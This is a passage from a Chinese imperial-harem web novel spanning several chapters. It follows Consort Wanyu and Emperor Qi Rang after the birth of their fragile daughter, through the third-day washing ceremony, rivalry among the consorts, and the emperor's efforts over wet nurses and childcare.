祁让忙道:“太妃不必过谦,朕一直都是敬重您的,您的教诲,朕自然洗耳恭听。” 静安太妃摆手叫小福子出去,这才温声道:“你如今已然贵为天子,我哪有资格教诲你,不过是把我所见所思说与你听。 你说贞妃心狠,不喜欢孩子,实在是冤枉了她,哀家去的时候,她正给孩子喂奶呢!” 祁让神情微怔,随即又恢复正常:“她未必出于真心,不过是因为奶娘走了,没有别的法子了。” “胡说。”静安太妃难得严厉起来,“孩子是她怀的,也是她生的,她刚从鬼门关走了一遭,自己都虚成什么样了,若非心里对孩子割舍不下,她大可以找各种理由推拒,可她还是亲自喂了孩子,这说明什么?” “这能说明什么?”祁让嘴硬地问了一句,脸色却稍有缓和。 “说明她没你想的那样狠心。”静安太妃说,“你觉得自己比她更爱孩子是吗,你们男人荒唐一场,把种子种下,剩下的罪都是女人在受。 十月怀胎的辛苦,一朝临盆的痛楚,岂是你们所能体会的? 所以,谁都有资格说她,就你没有,因为她受的罪都是你造成的,她若有不测,也是你害的。” 老人家说话直接,祁让不免有些难为情,却也不能否认南崖禅院那夜,的确是一场荒唐。 可即便如此,他也还是不能接受晚余对孩子的态度,他就是觉得她太绝情。 静安太妃像是看透了他的心思,又语重心长道:“你自个心里也清楚,这孩子不是她心甘情愿怀上的,她心里有怨气,再正常不过,她要是一怀上孩子就欢天喜地,那才有鬼。 她没打算瞒你,才在你面前毫不遮掩地表明自己的想法,事实上她的顾虑并非没有道理,孩子生下来这样孱弱,难道只是因为早产吗?” 祁让无言以对,手扶着额头搓了几下。 静安太妃说:“这话别人都不敢和你讲,底下人不敢,太医也不敢,所以你就理所应当地认为自己没错,错都在她。 你恨她绝情,究竟是恨她对孩子绝情,还是恨她对你绝情? 天底下没有一个母亲会无缘无故对孩子狠心,事出反常,必有因果,这因是你自己种下的,这果是苦是甜你都得自己承担,不能迁怒旁人,你明白吗?” 祁让点点头,像个犯了错的孩子:“朕明白了。” 静安太妃这才缓和了语气,又反过来跟他道歉:“我不是你的生母,也不是真正的太后,不过是托了你的福才有今天。 按说我是没资格说你的,今日这番话,就当我倚老卖老吧,你好歹担待些,别嫌我托大,毕竟宫里除了我,也确实没有人敢和你说这些话了。” “太妃言重了。”祁让忙正色道,“朕就是想要一个德高望重的老人家坐镇后宫,才把您从太妃所接出来的,朕若嫌弃您,今儿个也不会到您这里来了。” 静安太妃欣慰一笑:“你能这样容忍我,我实在感激,可你连我这老太婆都能体谅,不是更应该体谅贞妃吗,她心里比你还难受,你得给她时间,而不是苦苦相逼,知道吗?” 祁让有些讪讪,说不出话。 静安太妃又说:“女人的心思本就和男人不同,在男人看来无关紧要的事,在女人看来却是顶顶重要的,有些话你们男人说过就忘了,女人可能事隔多年仍耿耿于怀。 所以,你如果下定了决心要放她走,就在最后的这段时间好好和她相处,别把时间用来置气。 气话只是当时说着痛快,将来有一天,那些话都会变成扎向自己的刀,想起一次,就后悔一次。” 祁让不禁动容,关于这话,他是深有体会的。 以前他冲动的时候说晚余不配怀他的孩子,后来每每想起这话,就懊悔不已。 但说出的话就是泼出的水,再怎么后悔也收不回来了。 第314章 父皇是不是也想吃 静安太妃见他不说话,陪着些小心说道:“我今天说太多了,你不要生气。” 祁让回过神,扯唇一笑:“朕没生气,朕知道太妃是为了朕好。” “不只为你好,也是为大家好。”太妃说,“你是皇帝,前朝后宫都是看你的脸色行事。 你变个脸,对他人来说就是狂风暴雨,你跺跺脚,对他人来说就是天崩地裂。 所以,你这里不安生,大家就都跟着不安生,只有你好好的,咱这家国天下才能昌盛安宁。” 祁让从炕上下来,整理了衣襟,对她郑重行礼:“多谢太妃教诲,朕记下了。” 静安太妃将他上下打量,颔首道:“我瞧着你气色好多了,今儿个先不要急着去承乾宫,回去再好生睡一觉,明儿个孩子洗三礼再去不迟。” “好,朕知道了。”祁让点头应下,辞别她走了出去。 小福子守在外面,见祁让出来,迎上去问:“皇上,您好些了没,您这会子想去哪儿?” 祁让没说话,闷头往外走,出了寿康宫的大门,站在冷风萧萧的宫道上踯躅一刻,虽然很想去看看晚余和孩子,最后还是回了乾清宫。 他需要时间冷静,晚余也需要时间和孩子独处,他去了,会破坏母女之间的气氛。 所以再想也要忍一忍。 承乾宫里,晚余和玉竹玉琴紫苏几人,被小公主折腾得够呛。 这孩子一被抱走就哭闹不止,回到晚余怀里喝两口奶又好了,等到再被抱走,就又开始哭,谁也哄不住。 来回折腾了好几回,晚余实在没法子了,只好连同她的襁褓一起放进自己被窝里,让她睡在自己身边,这样她才算安静下来,再也没有哭闹。 晚余也困了,迷迷糊糊快要睡着的时候,忽然想到一件事,忙叫了紫苏来问:“雪盈呢,雪盈出宫了没有?” 紫苏说:“雪盈昨天一直在这里陪着娘娘,娘娘生完小公主她才走的,今天一大早就出宫去了。” “出去了吗?确定已经走了吗?”晚余追问。 紫苏点头道:“真的已经走了,娘娘放心吧,她临行前还来和娘娘道别呢,娘娘没睡醒,她就让奴婢和娘娘说一声,等她回家后,会捎信来给娘娘报平安的。” “那就好,那就好。”晚余放下心来,偏头看向窗棂处。 天冷,窗子是关着的,根本看不到外面,但她还是看了很久。 紫苏劝她:“娘娘别看了,趁着小公主睡了,您也快睡一会儿吧,等她醒了您又睡不成了。” 晚余嗯了一声收回视线:“贤贵妃那里有没有动静?” 紫苏说:“贤贵妃早上打发了一个小宫女来问候,说娘娘身子若爽利的话,她就过来坐坐。 恰好赶上皇上发脾气,小宫女就回去了,到现在也没见动静,估摸着是知道了皇上把奶娘赶走的事情,暂时不好过来了。” 晚余说:“这事儿得跟她解释清楚,但我这会子实在乏累,你先替我往钟粹宫走一趟,明天不是要洗三吗,她来了我再和她好好说。” “好,娘娘快睡吧,奴婢这就过去。”紫苏答应着,帮母女二人把被子掖好,退了出去。 许是因着孩子在身边,晚余这一觉睡得很踏实,梦里再没听到孩子的哭声。 一觉睡到天黑,小公主饿了又哭闹着找奶吃,晚余就醒了,把她喂饱之后,自己才吃晚饭。 饮食这块是玉琴负责的,怕晚余身子虚奶水不够,特地给她准备了木瓜燕窝和鲫鱼汤。 孩子饿得快,一晚上要醒好几回。 次日一早,紫苏和玉竹玉琴她们把洗三的东西都准备好了,晚余还没睡醒。 祁让请了静安太妃和京城第一世家大族的魏家老太君来给小公主洗三。 魏家老太君就是庄妃的祖母,嘉华公主出生时也是请的她来洗三。 除了魏老太君,京中王公大臣家的夫人都来了,送的礼物一件比一件贵重,令人目不暇接。 后宫的妃嫔也都带了礼物过来,有些妃嫔刚好可以借机见一见自己的家人。 庄妃的母亲魏夫人陪同魏老太君一同前来,趁着洗三礼还没开始,就去永和宫坐了坐。 嘉华公主很少见到外祖母,在魏夫人面前很是拘谨。 魏夫人抱着外孙女叫乖乖,对庄妃心疼道:“皇上本来就不怎么待见你们母女,今后只怕更不常来了。” “母亲,快别说这样的话。”庄妃尽管自个心里不舒服,还是急急打断了魏夫人的话,“皇上对嘉华很好的,他说过,宫里不管再添多少孩子,嘉华都是不可取代的长公主。” “但愿吧!”魏夫人轻轻叹息,“你说你要家世有家世,要人品有人品,你父亲还有从龙之功,你怎么就没再生个皇子呢?” 庄妃委屈的眼圈泛红:“母亲这叫什么话,这种事是我一个人说了算的吗,皇上已经一年多没翻过我的牌子了,去年好不容易留宿一回,愣是抱着嘉华睡了一晚上,叫我怎么办?” 魏夫人见她委屈,忙又安慰她:“好了好了,不说了,我也是心疼你,想着有个皇子傍身,将来才有倚仗,不都说贞妃出了月子就要走吗,她走了,你们的好日子就来了,到时候不愁皇上不翻牌子。” “……”庄妃对此并不乐观,还想说什么,外面突然有人喊“皇上驾到”。 母女二人都吓了一跳,忙领着嘉华公主出去接驾。 刚出门,祁让已经到了廊下,神采奕奕地免了众人的礼,弯腰把嘉华公主抱了起来:“嘉华最近乖不乖?” “乖,嘉华可乖了。”嘉华公主认真地肯定自己。 祁让笑起来:“既然你这么乖,父皇带你去看小妹妹好不好?” “好。”嘉华乖巧点头,“父皇有了小妹妹,以后就不来看我了吗?” 庄妃和魏夫人都吓得变了脸色。 “谁说的?”祁让微微蹙眉,视线从母女二人脸上一扫而过,随即又对嘉华笑得温和,“父皇当然会来,嘉华是父皇的长女,不管有多少小妹妹,父皇都爱嘉华。” “嘉华也爱父皇。”嘉华公主笑着在他脸上亲了一下。 祁让心头一软,对庄妃和魏夫人说:“你们母女难得见面,再坐一会儿,朕先带嘉华过去。” 两人福身应是,忐忑不安地看着他抱着嘉华公主上了肩辇。 嘉华头一回坐父皇的肩辇,在上面扭来扭去稀奇不已。 祁让怕她掉下去,就把她紧紧抱在怀里。 一路行来,许多人都看在眼里。 大家都以为贞妃生了小公主,嘉华公主会被皇上冷落,没想到皇上非但没有冷落她,还让她坐自己的肩辇。 皇上肯定是听说了什么风言风语,才特地赶在这个时候带嘉华公主露脸吧? 这样一来,就没人敢在背后嚼舌根了。 肩辇在承乾宫门外停下。 先到的客人有些在正殿坐着喝茶,有些三三两两在院子里赏景,听闻皇上驾临,便都出来见礼。 祁让免了众人的礼,抱着嘉华公主直奔寝殿而去。 寝殿里,晚余正披散着头发坐在床上给小公主喂奶,想着喂完了再洗漱更衣。 祁让突然进去,叫她措手不及,搂着孩子僵坐在那里。 祁让牵着嘉华公主到了床前,骤然被她胸前那雪白的一片晃了眼,打了一肚子的腹稿全忘了。 嘉华公主晃着他的手说:“父皇快看,小妹妹在吃贞娘娘的奶呢!” 晚余顿时涨红了脸,手忙脚乱地遮掩。 祁让回过神,唇角轻勾,松了嘉华公主的手,亲自帮她把敞开的衣襟拉了拉,勉强遮住一些风光。 晚余的脸更红了。 祁让伸手摸了摸孩子的小脑袋,见她吃得香,喉结忍不住滚动了一下。 嘉华公主睁着乌溜溜的眼睛看他:“父皇,你是不是也想吃?” 这下连祁让都忍不住红了脸。 他本想带着嘉华来缓解一下尴尬的气氛,可是现在,怎么感觉更尴尬了? 第315章 你第一天认识朕吗 祁让尴尬地轻咳了两声,很认真地对大女儿解释道:“小孩子才会吃奶,父皇已经长大了。” “哦。”嘉华公主歪着头想了想,说,“嘉华也不吃奶了,是不是嘉华也长大了。” “对呀,你都做姐姐了,当然长大了。”祁让说,“等到小妹妹会走路的时候,你就可以带她一起玩了。” “那还要多久呀?”嘉华公主手脚并用爬到床上,盯着小公主看,“贞娘娘,妹妹什么时候才能长大呀?” 晚余看着她天真懵懂的小模样,不自觉露出一个温柔的笑:“很快的,等到明年的这个时候就会走路了,但她没你走得快,你要牵着她,别让她摔跤。” 嘉华点点头,伸手去摸妹妹又细又软近乎透明的小手指:“我一定会牵紧妹妹,不让她摔跤的。” “嘉华真乖。”晚余越发对她笑得温柔,想着再过两年,自己的孩子也该长到她这么大了,不知道是不是也和她一样活泼又乖巧? 贤贵妃应该会好好教养孩子吧? 贤贵妃有家世有才学,是名门闺秀,不像自己在外面野蛮生长,肯定比自己会教育孩子,虽说心机有点多,但在宫里生存,没点心机也不行,只要别把孩子教得太过精明就好。 她这样想着,难免又有点担忧,眉宇间浮现淡淡的哀愁。 祁让在旁边看着她时而笑意温柔,时而面露忧郁,心里酸酸的不是滋味。 其实只要她肯留下,一切都能迎刃而解,奈何她不肯。 嘉华公主不懂大人的想法,欢欢喜喜地叫他们两个:“父皇,贞娘娘,等到明年下雪的时候,咱们和妹妹一起堆雪人吧?” 明年下雪的时候? 晚余心下凄然,明年下雪的时候,她都不知道自己会在哪里,自然也不能对孩子做出这样的承诺。 她斟酌一刻道:“明年太远了,万一贞娘娘到时候有别的事,就让父皇和你母妃一起带你们玩也是一样的。” “可是,你刚刚不是说,明年很快的吗?”嘉华公主忽闪着懵懂的眼睛问她。 晚余被一个孩子问住,有点答不上来。 她该怎么向孩子解释,时间为何会又快又慢呢? 她转头看向祁让,正好撞上祁让幽深的目光。 祁让立刻收回视线,把嘉华公主抱起来,给她打比方:“就像你很想吃糖,你母妃跟你说明天才能吃,你就会觉得时间过得好慢,而你不想睡觉的时候,你母妃跟你说时间到了,你就会觉得时间过得好快,明白了吗?” “哦。”嘉华公主似懂非懂地应了一声,父皇的话太长,她要琢磨好久才能弄明白。 祁让把她递给玉竹,让玉竹带她出去看庄妃来了没有。 等人走后,自个在床沿坐下,看看孩子又看看晚余,温声道:“她乖不乖,有没有闹你?” 晚余说:“还好,就是夜间要起来几趟,小孩子饿得快。” 祁让面露愧疚之色:“是朕不好,朕回头让人再物色一个奶娘进来,免得你辛苦。” 晚余惊讶地看了他一眼,不敢相信这话是他能说出来的。 祁让被她看得不自在,面上却装作若无其事:“看什么,你第一天认识朕吗?” 晚余心说这倒也是,自己又不是第一天认识他,他这个人,做出什么样不正常的举动都是正常的。 于是就认真地向他道了声谢,以免他一言不合又发起疯,当着这么多宾客实在丢人。 祁让探头往她胸前看了眼孩子,说:“朕给孩子起了个名字,叫梨月,你觉得好不好?” 晚余愣了下,问他:“这名字有什么说头吗?” 祁让就把孩子出生那天夜里和徐清盏一起看到的景色和她说了,又给她念了那两句诗,问她喜不喜欢。 晚余惊讶道:“皇上不是很早以前就开始想名字了吗,怎么现在却又临时起意?” 祁让说:“以前是比着嘉华的名字想了几个,但刻意想出来的都很中规中矩,倒不如这临时起意来的灵动,怎么,你觉得不好吗?” 晚余说:“倒也不是不好,就是听人说名字越普通越好养活。” 祁让看着女儿孱弱的小模样,又想到太医和他说的那些话,心头有不安一闪而过。 “不怕,她是朕的血脉,自然福泽深厚,什么样的名字都担得起,况且这名字起得也不大,并且很有灵气,没什么不妥的。” 晚余点点头:“皇上说好就好,名字本来就是个称呼,咱们也不要太在意。” 她说“咱们”说得如此自然,祁让很是受用。 人与人之间真的很奇妙,爱也好,恨也罢,因着一个孩子,他和她就成了咱们。 从此以后,他就是孩子爹,她就是孩子娘,这个关系,到死都不会改变。 “晚余……”他叫了她一声,在她看向他的时候,又无话可说,就伸手帮她把头发别在耳后,“客人来得差不多了,朕叫人进来服侍你更衣。” “好。”晚余应了一声,看着他起身向外走。 他还是那样高大,那样挺拔,每一步都充满帝王的威仪。 可她也说不上来为什么,总感觉他有什么地方不一样了。 或者是刚添了孩子,使他看起来柔和了一些吧? 没等晚余琢磨出来个所以然,紫苏领着几个宫女进来,打断了她的思绪。 晚余被几个人伺候着洗漱更衣梳了妆,抱着小公主出了寝殿。 原以为祁让已经去了正殿,没想到他居然等在外间,说要陪她们娘儿俩一起过去。 晚余觉得他这样未免太隆重,就让他先过去,自己和孩子随后再过去,省得有人说她们母女恩宠过盛。 祁让不以为意,直接把小公主接过去抱在自己怀里,径直向外走去:“朕疼爱自己的女儿,别人管得着吗?哪个敢乱嚼舌根,朕就让徐清盏割了他的舌头。” 第316章 朕自己的孩子自己带 晚余无奈,只得跟在他后面走出去。 正殿里已经是衣香鬓影,宾客满堂。 静安太妃和魏老太君坐在主位,正和一群妃嫔命妇闲话家常。 见祁让亲自抱着孩子过来,众人都吃了一惊,忙起身跪在地上给他行礼。 祁让抱着孩子接受众人的叩拜,晚余觉得很是不妥,但当着这么多人的面,她也不好出声反对,只能站在一旁等着。 等祁让叫众人平身后,她才走上前去给静安太妃见礼,又和魏老太君相互见礼,然后才去和各位妃嫔命妇见礼。 大家客套了几句之后,仪式开始,静安太妃和魏老太君先焚香祭拜了送子娘娘,催生娘娘,床公床母等一大堆的神灵,祈祷他们保佑孩子平安康健。 而后就将孩子脱去衣物,放在用艾叶、菖蒲、金银花等药草煮沸又晾过的温水清洗,嘴里念念有词说了许多祝福的话。 小公主实在是小,小小的一团放进水盆里,像只没足月的小猫咪,连哭声都细声细气的。 宾客们都看得心惊,暗自想着这孩子怕是不好养活,嘴上却说着吉祥的话,除去先前送的礼物,又往盆里扔些铜钱,金银锞子,玉如意,长命锁之类给孩子添财添福添寿。 兰贵妃站在贤贵妃身边,小声道:“可惜了,这孩子要是生下来就抱到你宫里,今儿个这么多礼物,就都是你的了。” 贤贵妃这两天确实挺煎熬的,虽然晚余特地派紫苏去和她解释过,她还是担心事情会有变故。 眼下见皇上给晚余母女这么大的面子,亲自抱小公主来参加洗三礼,心里就更难受了。 她倒也不稀罕那些金银珠宝,她稀罕的是来自帝王的荣宠。 要是小公主一生下来就抱到她那里,今日和皇上并肩而立,受众人瞩目艳羡的人就是她。 可她难受归难受,却是丝毫没有表现出来,反倒大度地笑了笑,反问兰贵妃:“本宫记忆不好,忘了姐姐的大皇子洗三的时候,皇上有没有抱过他?” 兰贵妃霎时变了脸色,冲动之下,扬手给了她一巴掌。 “啪”的一声脆响,打断了魏老太君的祝词,众人都向她们两个看过去。 祁让厉声道:“你们两个在做什么?” 两人连忙跪在地上。 两人的母亲都在场,吓得脸色大变。 贤贵妃抢先道:“回皇上的话,兰贵妃整理头发,抬手的时候不小心打到了臣妾的脸,皇上不要怪兰贵妃,是臣妾站得离她太近了。” 她这样为兰贵妃周全,兰贵妃纵然再不想领情,也不敢在这个时候惹怒皇上,只得顺着她的话请罪:“是臣妾不小心,惊扰了大家,臣妾有罪。” “起来吧!”祁让冷沉的目光在两人脸上扫了个来回,明知事情没这么简单,也不能当众斥责她们,让命妇们看笑话。 静安太妃笑着说了一句:“你们都是小公主的母妃,当娘的人要比平时更加稳重才是,切不可再当自己是家里的娇娇儿,否则人家该说你们的母亲没好好教你们了。” 话是笑着说的,却让两人的母亲羞愧难当,脸红的像挨了两巴掌。 晚余猜想着应该是贤贵妃说了什么话刺激到了兰贵妃,兰贵妃最耿耿于怀的就是早夭的大皇子,贤贵妃的话想必是和孩子有关。 她没有孩子的时候不觉得怎样,有了孩子,便觉得这样刺激一个丧子的母亲,确实有点残忍。 但后宫就是这样,随时随地都有争斗,唇枪舌剑,皆是寻常。 大家各有算计,谁也不会给谁留情面。 同情别人,死的就是自己。 她一面想着自己快要脱离这种环境,一面又想着自己的孩子会在这种环境里长大,最终长成和这些人一样的人,心就像被两只手往两个方向撕扯着,痛得难以言喻。 洗三礼结束后,祁让请静安太妃协助兰贵妃贤贵妃一起招待宾客,自己抱着小公主送母女二人回寝殿。 临行前,看到嘉华公主牵着庄妃的手站在一旁,就特地和她说了一声:“妹妹要睡觉了,父皇先送她回去,回头再带你去和妹妹玩好不好?” “好。”嘉华公主乖巧点头。 庄妃心下稍觉安慰,正好兰贵妃贤贵妃刚闯了祸,她便借机在祁让面前表现自己:“皇上快去吧,臣妾会照顾好嘉华的,改天臣妾带嘉华去陪贞妃说话,也好让嘉华和妹妹多亲近亲近。” “嗯,你有心了,陪不陪贞妃倒在其次,要紧的是把嘉华照顾好。”祁让连夸奖带警告地回了她一句,抱着孩子离开。 晚余强撑着回到寝殿,已然体力不支,紫苏和玉竹服侍她宽衣上床,让她靠在床上歇气儿,又让人端了热羊乳来给她喝。 见祁让一直站着不走,知道他有话要和晚余说,玉竹便抱着小公主和紫苏一起退了出去。 祁让在床前坐下,抓住晚余放在被子上的手:“今天辛苦你了,后面再没什么需要你出面的事,你就好生养着,等到孩子满月的时候,朕要大宴群臣,到时候少不得要你到场露个脸儿。” 晚余倦倦地靠着床头,想说什么,又一直犹豫。 祁让说:“你想说什么只管说,朕保证不生气。” 晚余迟疑道:“臣妾想请皇上不要对这孩子太上心,也别给她太多宠爱。” “为什么?”祁让皱眉不解。 晚余说:“臣妾也不是太懂,就是听人说,小孩子太小,福气太大了容易压不住之类的,具体的我说不好,反正就是别太当回事反而好养活。” 祁让皱眉表示不信:“她是朕的公主,她本来就福气大,有什么压不住的,朕小时候倒是没人当回事,活是活过来了,可朕受的都是什么罪,你想都想不到,现在,朕有条件让自己的孩子幸福,自然要将世间最好的东西都给她。” “可您这样,会让她遭人嫉妒的。”晚余说,“宫里孩子本来就少,皇上的心思太多放在孩子身上,别人心里肯定不好受。” “所以呢?”祁让手上用了些力道,将她的手攥在掌心,脸上有些许不悦,“你不会又想劝朕雨露均沾吧,你再敢说这个词,朕饶不了你。” 晚余见他不听,只得作罢,想着回头见了静安太妃,让静安太妃好好劝劝他。 “臣妾没那么想,就是怕皇上太宠爱公主会给她招祸。” 祁让看了她一眼,幽幽道:“既然你这么担心孩子,那朕问你个事儿,你当真想好了要把孩子给贤贵妃养吗?” 晚余心头一跳:“怎么了,皇上觉得她不好吗?” “倒也不是不好。”祁让说,“贤贵妃性情温和,也很有才能,打理后宫是一把好手,但她精于算计,像个笑面虎,朕从前就不爱往她那里去,总觉得和她在一起不自在。” 晚余沉默下来,半晌才道:“旁人还不如她,庄妃有嘉华公主要照顾,兰贵妃性情乖张,对臣妾颇有成见,端妃吃斋念佛,不问世事。 剩下就是乌兰雅了,臣妾倒是信任她,但皇上一直当她是个透明人,臣妾怕她护不住孩子,除此之外,还有谁合适,总不能让静安太妃帮着带吧?” 祁让听她分析的头头是道,心里却像堵了一团棉花。 谁最合适,她当真不知道吗? 可她却要狠心撇下他们父女二人,过自己的逍遥日子去了。 “谁都不合适,朕自己的孩子自己带,朕回头就把她接到乾清宫去,上朝带着,批折子也带着,这样总行了吧?”他赌气似的说道。 第317章 父女俩可着一个人坑 晚余感觉这人想一出是一出,颇有些无奈地劝他:“皇上能别闹了吗,乾清宫是皇上处理政务,接见朝臣的地方,小孩子住进去像什么话? 倘若是个皇子倒还罢了,您让一个公主住在那里,是觉得那些言官太闲了,想给他们找点事情做吗?” “怕什么,公主是朕的女儿,朕照顾自己的孩子与他们何干?”祁让冷哼,一副打定了主意的样子。 晚余说:“嘉华也是您的女儿,您可有让她住过乾清宫?” “嘉华有娘,她娘没有不要她。”祁让脱口而出。 晚余脸色一变,往下再没了言语。 房内气氛变得凝滞。 祁让自己也没意思,沉默了半晌,挪到床头坐下,将她揽进怀里。 “好了,朕没有指责你的意思,朕就是怕别人带孩子不上心,乾清宫那么大,怎么就住不下一个孩子了?” 晚余说:“不是住不住得下的问题,是不合适,孩子太小了,乾清宫那种地方她承受不起,臣妾怕这样会……” 她想说怕这样会折了孩子的寿,话到嘴边没敢说,唯恐好的不灵坏的灵。 于是便改口道,“同样是孩子,皇上不能厚此薄彼,您若一意孤行,别人非议梨月恩宠过盛的同时,也会瞧不起嘉华的,嘉华现在正是敏感时期,您得为她考虑。” “好吧,好吧,听你的,都听你的。”祁让到底还是妥协了,和她商量道,“朕可以不让梨月去乾清宫,但你也不要急着把她送出去,让朕再好好想想,成吗?” 他话说到这份上,晚余也不能太坚持己见,就点头同意了。 后宫除了贤贵妃,着实没有更合适的人选了,祁让再怎么想,也改变不了这个事实,除非为了公主从低位妃嫔中再晋一个妃位。 可就算再晋一个,也不及贤贵妃的综合实力强,能不能护住孩子都未可知。 至于说孩子将来会不会受贤贵妃的影响学得心机深重,孩子首先得活下来,才能考虑后面的事情。 祁让哪怕等孩子长到三四岁再把她另行安排也是好的。 目前为止,真的只有贤贵妃最合适。 晚余胡乱想着,渐渐的困意上头,就那样靠在祁让怀里睡了过去。 祁让也在想事情,惊觉她半晌没动静,低头一看,才发现她已经睡熟了。 看来她的确很辛苦,为了奶孩子,晚上连个囫囵觉都睡不成。 她秀气的眉微微蹙着,眉心像是锁着无法言说的哀愁。 祁让的心突然疼了一下,伸出两根手指压在她眉头,手指往两边碾,帮她把眉头展开。 随后,他的手指拂过她眉梢,顺着向下,滑过她脸颊,忽而在她耳畔停下,发现她耳后鬓发间,赫然有一根晶莹的白发。 她才二十二岁,怎么就有白头发了? 祁让盯着那根白发,怔忡了许久,直到身子都坐麻了,才轻手轻脚地将晚余平放在床上,帮她把枕头垫好,拉起被子给她盖上,把两边的被角都帮她掖好,站在床前看了她一会儿,转身悄无声息离开。 出了门,小福子候在外面,祁让转着拇指上的翡翠扳指,对他吩咐道:“抓紧时间叫人再物色一个奶娘进来,要家世清白,身体康健,性情温和的。” 小福子躬身应是,心说皇上这是何苦呢,早知如此,何必把上一个奶娘撵走,平白搭进去二百两银子,最后低头的还是他自己。 小福子办事有效率,次日一早,就亲自带着一个奶娘来见晚余,说是内务府从十几个奶娘当中精心挑选出来的,问晚余是否满意。 晚余倒是满意的,谁知小公主却不满意。 她明明已经很饿,奶娘的奶送到嘴边,她却扭来扭去不肯吃,强行塞进嘴里,她也会吐出来,被逼急了就哇哇哭。 等到晚余把她抱过去,她就又不哭了,贴在晚余怀里吃得哼哼唧唧。 晚余想着她大约和这个奶娘没缘法,就让小福子再找找看。 三天找了七八个,个个都是这样,一到奶娘怀里就哭,回到晚余怀里就好了。 弄得晚余和承乾宫众人全都束手无策。 祁让听了小福子的回禀,觉得稀奇,亲自过去瞧。 恰好静安太妃也在,半是认真半是打趣地说:“这孩子真不愧是你亲闺女,跟你一样认死理,父女俩可着一个人坑。” 祁让不免讪讪,见晚余被折腾得神色倦怠,精神不济,又是心疼又是后悔。 假如他一开始没把奶娘赶走,这孩子没吃到亲娘的奶,也就不会对亲娘产生这样的依恋。 现在可怎么办? 消息传出去,后宫众人稀奇之余,又胡乱猜测,是不是贞妃自个舍不得孩子,不想走了,才故意这么说的? 贤贵妃贴身的宫女拾翠也忍不住和她嘀咕:“贞妃是不是反悔了,不想把孩子给娘娘养了?” “不会的,贞妃前两天不是特地让紫苏来说过吗?”贤贵妃笑着说,“她不喜欢皇上,一直想出宫,这点我还是相信她的。” “她不喜欢皇上,不代表不喜欢孩子呀!”拾翠说,“孩子是娘的心头肉,越喂越割舍不掉,紫苏那天来传话的时候,贞妃才刚开始喂孩子,自然说得斩钉截铁,这几日喂下来,谁敢保证她不改变主意呢?” 贤贵妃的笑容慢慢变了味:“本宫可不是任由她耍着玩的,她利用完了本宫,就想翻脸不认账,那可不行。” “娘娘打算怎么办?”拾翠问道。 贤贵妃沉思良久,说:“你去库房挑几样东西,本宫去承乾宫坐坐,看她怎么说。” 拾翠应声要走,另一个宫女进来禀道:“娘娘,皇上搬到承乾宫去了。” “你说什么?”贤贵妃闻言,再无法维持她得体的笑容,“皇上好好的搬到承乾宫做什么?” 那宫女道:“奴婢听人说,小公主只黏着贞妃一人,皇上心疼贞妃,就搬到承乾宫和她同住,要帮她带孩子,听说连奏折都搬过去了。” “天呐,皇上真够可以的。”拾翠忍不住插嘴,“皇上如此宝贝贞妃母女,贞妃还能走得了吗?” 贤贵妃脑子嗡嗡的,坐在那里半天没有吭声。 晚余自己对于祁让的这个决定也很无语。 不管出于哪方面考虑,她都不希望祁让搬过来和她同住。 孩子虽闹腾,她有一群人帮忙,又不是非祁让不可。 祁让这样大张旗鼓地搬过来,只会为她和孩子招来更多人的嫉妒。 可祁让显然不这么想,幽深凤眸充满期待地看着她,仿佛在等她夸奖。 晚余想劝他回去的话就没敢往外说,感觉说了他肯定受不了,说不定还会发脾气。 她甚至连他发脾气会说什么都能猜到。 第318章 恨他八辈子都恨不够 祁让就这么在承乾宫住了下来,白天上朝回来,就在承乾宫的暖阁里批折子,批折子累了,就去寝殿看晚余和孩子,需要面见官员时,他就回南书房,晚上就和母女两个睡在一处。 小孩子除了吃就是拉,一晚上要折腾好几回,虽然有紫苏等人轮流值夜伺候,但喂奶总要晚余亲自来。 祁让亲眼目睹了晚余拖着虚弱的身子一趟一趟地爬起来给孩子喂奶,越发后悔自己当初的冲动之举。 隔天就让人花重金把先前那个奶娘请了回来。 他想着,小公主刚生下来喝的就是那个奶娘的奶,应该不会排斥她。 结果,奶娘请回来后,小公主倒是不排斥奶娘抱,却还是不愿意吃奶娘的奶。 祁让不禁有些生气,说这孩子纯粹就是折腾人,不能惯她这毛病,便狠下心肠,让晚余不要喂她,好好饿她几顿,饿狠了自己就吃了。 当天夜里,小公主哭得撕心裂肺,晚余好几回不忍心,从床上爬起来,要去育儿室喂孩子。 祁让和她睡在一起,硬是拦着她不让她去。 晚余急得直掉眼泪,抱着祁让的胳膊咬他,哭着控诉他,说都是他造的孽,要不是他,自己和孩子原本都不用受这罪。 祁让无话可说,随便她怎么咬,始终抱着她不撒手。 天快亮的时候,紫苏过来说,小公主终于肯吃奶了,奶娘眼下正在喂她。 晚余一夜没睡,这会子总算放了心,却又忍不住掉眼泪。 祁让伸手帮她擦眼泪:“这不是都好了吗,你还哭什么?” 晚余翻过身不想理他。 祁让怔怔一刻,从后面抱住她,脸贴在她散乱的发间:“好了,别哭了,朕错了,要不你再咬朕一口。” 晚余转过来,狠狠一口咬在他胸膛上,呜呜呜地哭出声来:“我恨你,到死都不会原谅你……” 祁让心里针扎似的难受,用尽全身的力气将她搂进怀里。 恨吧,恨吧,若果真如此也不错,至少她会记他一辈子。 晚余哭了好一会儿,才迷迷糊糊睡过去。 不知睡了多久,听到外面乱糟糟的动静,激灵一下坐了起来。 “紫苏,紫苏,怎么了?”她颤着声向外喊。 紫苏从外面进来,说:“没事,就是公主呛奶了,娘娘不用担心,皇上已经让传太医来了。” 她虽然说得轻松,晚余却一点都不放心。 如果只是呛奶,为什么要传太医? “快,给我更衣,我去瞧瞧。” 紫苏知道拦不住她,就帮她穿好衣裳,陪着她一起去了育儿室。 祁让刚下朝,身上还穿着龙袍,那样高高大大的一个男人,怀里抱着一个粉色的襁褓,一边轻轻拍哄,一边发出“哦哦哦”的哄孩子的声音。 晚余走过去,急切地扒着襁褓看孩子,问他怎么回事。 祁让和紫苏说的一样:“没事,就是呛奶了,太医已经看过,说脾胃失调,孩子太小没法喂药,就开了药给奶娘喝。” 晚余看孩子小脸红得很不正常,猜想她大约是呛奶的时候憋着了,心疼的不得了。 “真的只是脾胃失调吗,有没有别的问题?” 祁让看着她,眼底有什么情绪一闪而过:“真的,这有什么好骗你的,别胡思乱想自己吓自己。” 晚余被他骗怕了,转念又想,他在别的事上骗她也就算了,孩子的事应该不至于。 况且也没有骗她的必要。 于是便点头道:“没有就好,我总是怕我那时染了时疫会对孩子有影响。” “没有,别瞎想。”祁让语气十分肯定地安抚她。 小公主不知是听到晚余的声音,还是闻到了她的味道,就又哭起来,扭着脑袋找她。 晚余对上孩子黑漆漆泪汪汪的眼睛,泪水险些又夺眶而出:“要不,我再喂她一回吧?” 